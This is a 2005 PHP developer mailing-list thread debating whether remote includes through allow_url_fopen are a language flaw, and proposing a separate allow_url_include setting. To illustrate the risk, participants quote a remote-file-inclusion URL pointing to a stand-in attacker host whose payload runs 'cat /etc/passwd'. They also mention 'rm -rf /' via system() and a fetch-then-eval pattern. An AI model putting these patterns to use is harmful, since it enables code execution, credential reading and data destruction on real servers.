allow_url_fopen should be INI_ALL

On 6/28/05, Russell Nelson <nelson@crynwr.com> wrote:

Are you suggesting that someone could wipe out your entire machine by passing a remote script that would system('rm -rf /');? This is not a PHP related problem. If the user is stupid enough to run his webserver as root and not setting proper privileges, he deserves to get his hard drive wiped out. Maybe we should consider Apache insecure as it allows you to run it as root if you like? Or maybe we should blame UN*X systems for having a root account? I sure do expect to have include() using the fopen wrapper. If it was not the case, people would start writing their own implementation of remote include file, opening a HTTP stream and then piping it to include(). IMHO, this thread is pointless. About any feature (good features!) of PHP might be used to hack a system. There is no way around a crapy written software (meaning the PHP script, and *not* the PHP runtime). There is no problems with the include() statement. The only thing missing, is a <blink> tag in the docs ;) Sincerely, Olivier

Russell Nelson wrote:

Because it's one of - if not the first of - rules of web-based scripting, maybe even programming in general. You absolutly can't trust any input whatsoever and it must be validated. There are examples of this in every type of language that I care to think of, from buffer overflows in C/C++, SQL injections in well, just about any language and of course, system()/exec()/include()/etc in php/.

Parameter validation is a general thing done for security, whether that be if you're using a variable in an include, database credentials, connecting to a web service, etc. You need to make sure that those basic conditions have a highly controlled set of values, not only for security but to make sure the application works correctly. If doing this is unacceptable, that person shouldn't be writing code in the first place. The more I think about it, the more I realize that remote includes are amazingly powerful and you could build some highly distributed applications and have a very easy way to integrate them. Of course, you'd want to white list, and verify that all the piece parts were being used only on your servers. It'd definitely be an interesting application to design. The streams feature and API is also extremely powerful. Include does not let someone erase your harddrive, unless you have gone out of your way to make Apache run as root and open up all sorts of priviledges it shouldn't have, and doesn't have by default. This thread's pretty much pointless - I recommend you read up on web security in general. Al On Tue, 2005-06-28 at 23:58 -0400, Russell Nelson wrote:

Russell Nelson wrote:

I don't really feel that 2 users are a good indication of users as a whole, here - however, it still seems more of a documentation issue than a broken function issue to me. To break BC seems overkill for a function which is so useful to many of us working on systems distributed over many different servers.

Yes, I am. Ok, maybe part of that blame should lie in the documentation, but really it's a silly bug to fall for. To quote the page at the top of a google search for "php security flaw" (as you suggested searching for): "This is a common mistake by newbies. When PHP is including a page it doesn't care if the page is locally or on a remote server. Someone could easily change the URL to *http://www.unsecuresite.com/index.php?page=http://www.cracker.com/crack.php*. Imagine crack.php is containing this text: <?php passthru( "cat /etc/passwd" ); ?>" Indeed, the rest of that google search seems to be pulling up articles on past php security flaws now delt with or articles on how to improve the security of your php scripts - I'm hard-pushed to find a large number of specific articles dealing with the 'flaw' you mention. Regards,

PHP is not, in my opinion, idiot-proof. You're right on that point. Where our opinions differ is about what should be done about this. If a programmer is not capable of controlling an user input, why then should we trust him with anything ? A lot of other functions taking user input as arguments could potentially be as damaging as this one. I think if a programmer can't read a manual page about a so common function, he deserves what he has. Yes, I'm feeling a bit pre-conventionnal tonight. As for the `rm -rf /` case, I think it's the best exemple. Why should a hacker bother on exploiting an include stupidly called with user input unfiltered when he can get straight to an unprotected system($_GET['Whatever']). Are you suggesting that virtually _any_ function should be protected against stupidity ? What kind of language PHP would be after that ? On 6/29/05, Russell Nelson <nelson@crynwr.com> wrote:

I think the point is that we're not going to change include() any time soon, and that this thread is not a productive use of everyones time. --Wez. On 6/29/05, Derrell.Lipman@unwireduniverse.com <Derrell.Lipman@unwireduniverse.com> wrote:

Derrell.Lipman@UnwiredUniverse.com wrote:

i agree full! isnt it possible to add a check to the include*()/require*() statement that checks the parameter for existence in the superglobal $_REQUEST if the same value is found in $_REQUEST it could raise a WARNING, and notice the user about this security-leak.

Derrell.Lipman@UnwiredUniverse.com wrote:

While I'd like to agree with this, all I see when reading the group is a week-long simmering flame war that boils down to "OMGWTFBBQ!!!!11!11one inc1ud3 is teh 5pl0i7z!!!1111" Rasmus says "These security articles are pretty old," and gets back the response of "yeah, well you're implying Google doesn't return good results!" This is trollish behavior any way you slice it. Should exec, system, and shell_exec filter commands that could be harmful? Should they make sure nobody runs "rm -rf /" on your server because somebody did a system($foo)? PHP gives all system administrators the tools they need; whether it be safe_mode, safe_mode_exec_dir, open_basedir, disable_functions, allow_url_fopen, and other methods of locking down a server to avoid accidental or malicious damage. For what it's worth, I agree that include should have a method of disabling fetching remote files. We actually patched PHP to this effect after one of our users did include($foo) and got us hacked. We still allow_url_fopen for stuff like RSS feeds, but none of this "include and evaluate" crap for us. We run a hosting service filled with users ignorant of the true power at their fingertips, people who either don't read the manual or misunderstand it. PHP is a programming language used by non-programmers, and *that* is what makes it dangerous. Why do I say this? People get attached to a method for doing something. Some of our users were *convinced* they had to execute remote code from another site (which we also host; they didn't seem to understand the idea of including without http://). So what did they do? $bar = file_get_contents($foo); eval($bar); Does PHP have to stop this, too? As it turns out, our particular combination of safe_mode_* elements means users only get access to their own files, can only execute binaries we allow, and we explicitly disable any function that returns system information, provides shared resources, or is capable of modifying permissions. If one of our users is sloppy, only their own files are at risk, and we have backups in any case. Railing on for days at a time at how include is insecure is not news, and accomplishes nothing. The main core developers have had their say, and they're not going to change their minds through constant harassment; that's just not human nature. That said, I humbly ask we add allow_url_include to accompany allow_url_fopen, since some desire only to disable the former. We got what we wanted by patching the source, so do as you will. ^_^